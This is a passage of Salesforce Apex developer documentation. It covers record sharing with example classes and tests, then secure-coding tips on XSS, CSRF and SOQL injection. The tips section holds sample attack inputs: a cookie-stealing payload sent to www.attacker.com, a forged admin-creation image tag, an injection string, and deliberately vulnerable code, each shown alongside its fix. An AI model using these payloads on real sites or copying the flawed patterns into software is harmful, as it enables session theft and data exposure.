Only the record owner and users above the record owner in the role hierarchy
can view and edit the record. This access level only applies to the AccountShare
object.
Read Only
Read
The specified user or group can view the record only.
Read/Write
Edit
The specified user or group can view and edit the record.
Full Access
All
The specified user or group can view, edit, transfer, share, and delete the record.
Note: This access level can only be granted with Force.com managed
sharing.
Sharing Considerations
Apex Triggers and User Record Sharing
If a trigger changes the owner of a record, the running user must have read access to the new owner’s user record if the trigger is
started through the following:
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• API
• Standard user interface
• Standard Visualforce controller
• Class defined with the with sharing keyword
If a trigger is started through a class that’s not defined with the with sharing keyword, the trigger runs in system mode. In
this case, the trigger doesn’t require the running user to have specific access.
Sharing a Record Using Apex
To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want
to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object for the Contact
object. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom
object:
MyCustomObject__Share
Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail record’s access is determined
by the master’s sharing object and the relationship’s sharing setting. For more information, see “Custom Object Security” in the Salesforce
online help.
A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex
managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as
the “View All” and “Modify All” permissions for the given object, “View All Data,” and “Modify All Data” are not tracked with this object.
Every share object has the following properties:
Property Name
Description
objectNameAccessLevel The level of access that the specified user or group has been granted for a share sObject. The name
of the property is AccessLevel appended to the object name. For example, the property name
for LeadShare object is LeadShareAccessLevel. Valid values are:
• Edit
• Read
• All
Note: The All access level can only be used by Force.com managed sharing.
This field must be set to an access level that is higher than the organization’s default access level for
the parent object. For more information, see Understanding Sharing on page 186.
ParentID
The ID of the object. This field cannot be updated.
RowCause
The reason why the user or group is being granted access. The reason determines the type of sharing,
which controls who can alter the sharing record. This field cannot be updated.
UserOrGroupId
The user or group IDs to which you are granting access. A group can be
• a public group or a sharing group associated with a role
• a territory group if you use the original version of Territory Management, but not with Enterprise
Territory Management
This field cannot be updated.
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You can share a standard or custom object with users or groups. For more information about the types of users and groups you can
share an object with, see User and Group in the Object Reference for Salesforce and Force.com.
Creating User Managed Sharing Using Apex
It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing
is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified
user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a
custom object called Job.
Note: Manual shares written using Apex contains RowCause="Manual" by default. Only shares with this condition are
removed when ownership changes.
public class JobSharing {
public static boolean manualShareRead(Id recordId, Id userOrGroupId){
// Create new sharing object for the custom object Job.
Job__Share jobShr = new Job__Share();
// Set the ID of record being shared.
jobShr.ParentId = recordId;
// Set the ID of user or group being granted access.
jobShr.UserOrGroupId = userOrGroupId;
// Set the access level.
jobShr.AccessLevel = 'Read';
// Set rowCause to 'manual' for manual sharing.
// This line can be omitted as 'manual' is the default value for sharing objects.
jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
// Insert the sharing record and capture the save result.
// The false parameter allows for partial processing if multiple records passed
// into the operation.
Database.SaveResult sr = Database.insert(jobShr,false);
// Process the save results.
if(sr.isSuccess()){
// Indicates success
return true;
}
else {
// Get first save result error.
Database.Error err = sr.getErrors()[0];
// Check if the error is related to trival access level.
// Access level must be more permissive than the object's default.
// These sharing records are not required and thus an insert exception is
acceptable.
if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION &&
err.getMessage().contains('AccessLevel')){
// Indicates success.
return true;
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}
else{
// Indicates failure.
return false;
}
}
}
}
@isTest
private class JobSharingTest {
// Test for the manualShareRead method
static testMethod void testManualShareRead(){
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
Id User1Id = users[0].Id;
Id User2Id = users[1].Id;
// Create new job.
Job__c j = new Job__c();
j.Name = 'Test Job';
j.OwnerId = user1Id;
insert j;
// Insert manual share for user who is not record owner.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
// Query job sharing records.
List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel,
RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
// Test for only one manual share on job.
System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
// Test attributes of manual share.
System.assertEquals(jShrs[0].AccessLevel, 'Read');
System.assertEquals(jShrs[0].RowCause, 'Manual');
System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
// Test invalid job Id.
delete j;
// Insert manual share for deleted job id.
System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
}
}
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 186.
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Creating Apex Managed Sharing
Apex managed sharing enables developers to programmatically manipulate sharing to support their application’s behavior through
Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with “Modify All Data” permission can
add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes.
Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record
with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of
sharing records. They also enable developers to share with the same user or group multiple times using different reasons.
Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name:
• The label displays in the Reason column when viewing the sharing for a record in the user interface. This label allows users and
administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench.
• The name is used when referencing the reason in the API and Apex.
All Apex sharing reason names have the following format:
MyReasonName__c
Apex sharing reasons can be referenced programmatically as follows:
Schema.CustomObject__Share.rowCause.SharingReason__c
For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c
For more information, see Schema Class on page 2733.
To create an Apex sharing reason:
1. From the management settings for the custom object, click New in the Apex Sharing Reasons related list.
2. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the
user interface. The label is also enabled for translation through the Translation Workbench.
3. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain
only underscores and alphanumeric characters, and must be unique in your org. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores.
4. Click Save.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
Apex Managed Sharing Example
For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager
access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User
records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager
and Recruiter.
trigger JobApexSharing on Job__c (after insert) {
if(trigger.isInsert){
// Create a new list of sharing objects for Job
List<Job__Share> jobShrs = new List<Job__Share>();
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// Declare variables for recruiting and hiring manager sharing
Job__Share recruiterShr;
Job__Share hmShr;
for(Job__c job : trigger.new){
// Instantiate the sharing objects
recruiterShr = new Job__Share();
hmShr = new Job__Share();
// Set the ID of record being shared
recruiterShr.ParentId = job.Id;
hmShr.ParentId = job.Id;
// Set the ID of user or group being granted access
recruiterShr.UserOrGroupId = job.Recruiter__c;
hmShr.UserOrGroupId = job.Hiring_Manager__c;
// Set the access level
recruiterShr.AccessLevel = 'edit';
hmShr.AccessLevel = 'read';
// Set the Apex sharing reason for hiring manager and recruiter
recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add objects to list for insert
jobShrs.add(recruiterShr);
jobShrs.add(hmShr);
}
// Insert sharing records and capture save result
// The false parameter allows for partial processing if multiple records are passed
// into the operation
Database.SaveResult[] lsr = Database.insert(jobShrs,false);
// Create counter
Integer i=0;
// Process the save results
for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error
Database.Error err = sr.getErrors()[0];
//
//
//
//
Check if the error is related to a trivial access level
Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception is
// acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&&
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err.getMessage().contains('AccessLevel'))){
// Throw an error when the error is not related to trivial access
level.
trigger.newMap.get(jobShrs[i].ParentId).
addError(
'Unable to grant sharing access due to following exception: '
+ err.getMessage());
}
}
i++;
}
}
}
Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples:
• A manual share access level is set to Read and you insert a new one set to Write. The original share rows are updated to Write,
indicating the higher level of access.
• Users can access an account because they can access its child records (contact, case, opportunity, and so on). If an account sharing
rule is created, the sharing rule row cause (which is a higher access level) replaces the parent implicit share row cause, indicating
the higher level of access.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 186.
Creating Apex Managed Sharing for Customer Community Plus users
Customer Community Plus users are previously known as Customer Portal users. Share objects, such as AccountShare and
ContactShare, aren’t available to these users. If you must use share objects as a Customer Community Plus user, consider using a
trigger, which operates with the without sharing keyword by default. Otherwise, use an inner class with the same keyword to
enable the DML operation to run successfully. A separate utility class can also be used to enable this access.
Granting visibility via manual/apex shares written to the share objects is supported but the objects themselves aren't available to Customer
Community Plus users. However, other users can add shares that grant access to Customer Community Plus users.
Recalculating Apex Managed Sharing
Salesforce automatically recalculates sharing for all records on an object when its organization-wide sharing default access level changes.
The recalculation adds Force.com managed sharing when appropriate. In addition, all types of sharing are removed if the access they
grant is considered redundant. For example, manual sharing, which grants Read Only access to a user, is deleted when the object’s
sharing model changes from Private to Public Read Only.
To recalculate Apex managed sharing, you must write an Apex class that implements a Salesforce-provided interface to do the recalculation.
You must then associate the class with the custom object, on the custom object's detail page, in the Apex Sharing Recalculation related
list.
Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.
You can execute this class from the custom object detail page where the Apex sharing reason is specified. An administrator might need
to recalculate the Apex managed sharing for an object if a locking issue prevented Apex code from granting access to a user as defined
by the application’s logic. You can also use the Database.executeBatch method to programmatically invoke an Apex managed sharing
recalculation.
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Note: Every time a custom object's organization-wide sharing default access level is updated, any Apex recalculation classes
defined for associated custom object are also executed.
To monitor or stop the execution of the Apex recalculation, from Setup, enter Apex Jobs in the Quick Find box, then select
Apex Jobs.
Creating an Apex Class for Recalculating Sharing
To recalculate Apex managed sharing, you must write an Apex class to do the recalculation. This class must implement the
Salesforce-provided interface Database.Batchable.
The Database.Batchable interface is used for all batch Apex processes, including recalculating Apex managed sharing. You can
implement this interface more than once in your organization. For more information on the methods that must be implemented, see
Using Batch Apex on page 242.
Before creating an Apex managed sharing recalculation class, also consider the best practices.
Important: The object’s organization-wide default access level must not be set to the most permissive access level. For custom
objects, this level is Public Read/Write. For more information, see Understanding Sharing on page 186.
Apex Managed Sharing Recalculation Example
For this example, suppose that you are building a recruiting application and have an object called Job. You want to validate that the
recruiter and hiring manager listed on the job have access to the record. The following Apex class performs this validation. This example
requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the
Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this sample, replace
the email address with a valid email address to which you want to send error notifications and job completion notifications.
global class JobSharingRecalc implements Database.Batchable<sObject> {
// String to hold email address that emails will be sent to.
// Replace its value with a valid email address.
static String emailAddress = 'admin@yourcompany.com';
// The start method is called at the beginning of a sharing recalculation.
// This method returns a SOQL query locator containing the records
// to be recalculated.
global Database.QueryLocator start(Database.BatchableContext BC){
return Database.getQueryLocator([SELECT Id, Hiring_Manager__c, Recruiter__c
FROM Job__c]);
}
// The executeBatch method is called for each chunk of records returned from start.
global void execute(Database.BatchableContext BC, List<sObject> scope){
// Create a map for the chunk of records passed into method.
Map<ID, Job__c> jobMap = new Map<ID, Job__c>((List<Job__c>)scope);
// Create a list of Job__Share objects to be inserted.
List<Job__Share> newJobShrs = new List<Job__Share>();
// Locate all existing sharing records for the Job records in the batch.
// Only records using an Apex sharing reason for this app should be returned.
List<Job__Share> oldJobShrs = [SELECT Id FROM Job__Share WHERE ParentId IN
:jobMap.keySet() AND
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(RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c)];
// Construct new sharing records for the hiring manager and recruiter
// on each Job record.
for(Job__c job : jobMap.values()){
Job__Share jobHMShr = new Job__Share();
Job__Share jobRecShr = new Job__Share();
// Set the ID of user (hiring manager) on the Job record being granted access.
jobHMShr.UserOrGroupId = job.Hiring_Manager__c;
// The hiring manager on the job should always have 'Read Only' access.
jobHMShr.AccessLevel = 'Read';
// The ID of the record being shared
jobHMShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for hiring manager.
// This establishes the sharing record as Apex managed sharing.
jobHMShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c;
// Add sharing record to list for insertion.
newJobShrs.add(jobHMShr);
// Set the ID of user (recruiter) on the Job record being granted access.
jobRecShr.UserOrGroupId = job.Recruiter__c;
// The recruiter on the job should always have 'Read/Write' access.
jobRecShr.AccessLevel = 'Edit';
// The ID of the record being shared
jobRecShr.ParentId = job.Id;
// Set the rowCause to the Apex sharing reason for recruiter.
// This establishes the sharing record as Apex managed sharing.
jobRecShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c;
// Add the sharing record to the list for insertion.
newJobShrs.add(jobRecShr);
}
try {
// Delete the existing sharing records.
// This allows new sharing records to be written from scratch.
Delete oldJobShrs;
// Insert the new sharing records and capture the save result.
// The false parameter allows for partial processing if multiple records are
// passed into operation.
Database.SaveResult[] lsr = Database.insert(newJobShrs,false);
// Process the save results for insert.
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for(Database.SaveResult sr : lsr){
if(!sr.isSuccess()){
// Get the first save result error.
Database.Error err = sr.getErrors()[0];
//
//
//
//
Check if the error is related to trivial access level.
Access levels equal or more permissive than the object's default
access level are not allowed.
These sharing records are not required and thus an insert exception
// is acceptable.
if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION
&& err.getMessage().contains('AccessLevel'))){
// Error is not related to trivial access level.
// Send an email to the Apex job's submitter.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
err.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
}
} catch(DmlException e) {
// Send an email to the Apex job's submitter on failure.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Exception');
mail.setPlainTextBody(
'The Apex sharing recalculation threw the following exception: ' +
e.getMessage());
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
}
// The finish method is called at the end of a sharing recalculation.
global void finish(Database.BatchableContext BC){
// Send an email to the Apex job's submitter notifying of job completion.
Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
String[] toAddresses = new String[] {emailAddress};
mail.setToAddresses(toAddresses);
mail.setSubject('Apex Sharing Recalculation Completed.');
mail.setPlainTextBody
('The Apex sharing recalculation finished processing');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
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}
Testing Apex Managed Sharing Recalculations
This example inserts five Job records and invokes the batch job that is implemented in the batch class of the previous example. This
example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter.
Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter. Before you run this test, set
the organization-wide default sharing for Job to Private. Note that since email messages aren’t sent from tests, and because the batch
class is invoked by a test method, the email notifications won’t be sent in this case.
@isTest
private class JobSharingTester {
// Test for the JobSharingRecalc class
static testMethod void testApexSharing(){
// Instantiate the class implementing the Database.Batchable interface.
JobSharingRecalc recalc = new JobSharingRecalc();
// Select users for the test.
List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
ID User1Id = users[0].Id;
ID User2Id = users[1].Id;
// Insert some test job records.
List<Job__c> testJobs = new List<Job__c>();
for (Integer i=0;i<5;i++) {
Job__c j = new Job__c();
j.Name = 'Test Job ' + i;
j.Recruiter__c = User1Id;
j.Hiring_Manager__c = User2Id;
testJobs.add(j);
}
insert testJobs;
Test.startTest();
// Invoke the Batch class.
String jobId = Database.executeBatch(recalc);
Test.stopTest();
// Get the Apex job and verify there are no errors.
AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status,
CompletedDate, CreatedDate, NumberOfErrors
from AsyncApexJob where Id = :jobId];
System.assertEquals(0, aaj.NumberOfErrors);
// This query returns jobs and related sharing records that were inserted
// by the batch job's execute method.
List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c,
(SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares
WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR
RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
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FROM Job__c];
// Validate that Apex managed sharing exists on jobs.
for(Job__c job : jobs){
// Two Apex managed sharing records should exist for each job
// when using the Private org-wide default.
System.assert(job.Shares.size() == 2);
for(Job__Share jobShr : job.Shares){
// Test the sharing record for hiring manager on job.
if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
System.assertEquals(jobShr.AccessLevel,'Read');
}
// Test the sharing record for recruiter on job.
else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
System.assertEquals(jobShr.AccessLevel,'Edit');
}
}
}
}
}
Associating an Apex Class Used for Recalculation
An Apex class used for recalculation must be associated with a custom object.
To associate an Apex managed sharing recalculation class with a custom object:
1. From the management settings for the custom object, go to Apex Sharing Recalculations.
2. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
3. Click Save.
Security Tips for Apex and Visualforce Development
Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business
logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any
programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass
the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer
can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex.
To certify an application for AppExchange, it’s important that developers learn and understand the security flaws described here. For
additional information, see the Force.com Security Resources page on Salesforce Developers at
https://developer.salesforce.com/page/Security.
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IN THIS SECTION:
Cross Site Scripting (XSS)
Unescaped Output and Formulas in Visualforce Pages
Cross-Site Request Forgery (CSRF)
SOQL Injection
Data Access Control
Cross Site Scripting (XSS)
Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web
application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly
becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the
victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely
to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some
obvious possibilities include bulletin board or user comment-style websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce
page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
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tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to &lt; so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
Disabling Escape on Visualforce Tags
By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional
attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />
Programming Items Not Protected from XSS
The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these
items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include
anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable
to XSS if used in JavaScript.
<script>
var foo = location.search;
document.write(foo);
</script>
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Unescaped Output and Formulas in Visualforce Pages
When using components that have set the escape attribute to false, or when including formulas outside of a Visualforce component,
output is unfiltered and must be validated for security. This is especially important when using formula expressions.
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. It’s important to be aware that the output that’s generated by expressions isn’t escaped during rendering.
Since expressions are rendered on the server, it’s not possible to escape rendered data on the client using JavaScript or other client-side
technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is, potentially
hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering.
A common vulnerability is created by rerendering user input on a page. For example,
<apex:page standardController="Account">
<apex:form>
<apex:commandButton rerender="outputIt" value="Update It"/>
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<apex:inputText value="{!myTextField}"/>
</apex:form>
<apex:outputPanel id="outputIt">
Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
</apex:outputPanel>
</apex:page>
The unescaped {!myTextField} results in a cross-site scripting vulnerability. For example, if the user enters :
<script>alert('xss')
and clicks Update It, the JavaScript is executed. In this case, an alert dialog is displayed, but more malicious uses could be designed.
There are several functions that you can use for escaping potentially insecure strings.
HTMLENCODE
Encodes text and merge field values for use in HTML by replacing characters that are reserved in HTML, such as the greater-than
sign (>), with HTML entity equivalents, such as &gt;.
JSENCODE
Encodes text and merge field values for use in JavaScript by inserting escape characters, such as a backslash (\), before unsafe
JavaScript characters, such as the apostrophe (').
JSINHTMLENCODE
Encodes text and merge field values for use in JavaScript inside HTML tags by replacing characters that are reserved in HTML with
HTML entity equivalents and inserting escape characters before unsafe JavaScript characters. JSINHTMLENCODE(someValue)
is a convenience function that is equivalent to JSENCODE(HTMLENCODE((someValue)). That is, JSINHTMLENCODE
first encodes someValue with HTMLENCODE, and then encodes the result with JSENCODE.
URLENCODE
Encodes text and merge field values for use in URLs by replacing characters that are illegal in URLs, such as blank spaces, with the
code that represent those characters as defined in RFC 3986, Uniform Resource Identifier (URI): Generic Syntax. For example, blank
spaces are replaced with %20, and exclamation points are replaced with %21.
To use HTMLENCODE to secure the previous example, change the <apex:outputText> to the following:
<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>
If a user enters <script>alert('xss') and clicks Update It, the JavaScript is not be executed. Instead, the string is encoded
and the page displays Value of myTextField is <script>alert('xss').
Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped counterparts
may vary. For instance, this statement, which copies a Visualforce request parameter into a JavaScript variable:
<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>
requires that any double quote characters in the request parameter be escaped with the URL encoded equivalent of %22 instead of
the HTML escaped ". Otherwise, the request:
http://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
When the page loads the JavaScript executes, and the alert is displayed.
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In this case, to prevent JavaScript from being executed, use the JSENCODE function. For example
<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way to describe
CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be any Web page, including
one that provides valuable services or information that drives traffic to that site. Somewhere on the attacker's page is an HTML tag that
looks like this:
<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
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There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CRSF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection
SOQL Injection Vulnerability in Apex
Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.
<apex:page controller="SOQLController" >
<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />
</apex:form>
</apex:page>
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
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dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
However, what if the user provides unexpected input, such as:
// User supplied value for name: test%') OR (Name LIKE '
In that case, the query string becomes:
SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
SOQL Injection Defenses
To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables. The vulnerable
example above can be re-written using static SOQL as follows:
public class SOQLController {
public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}
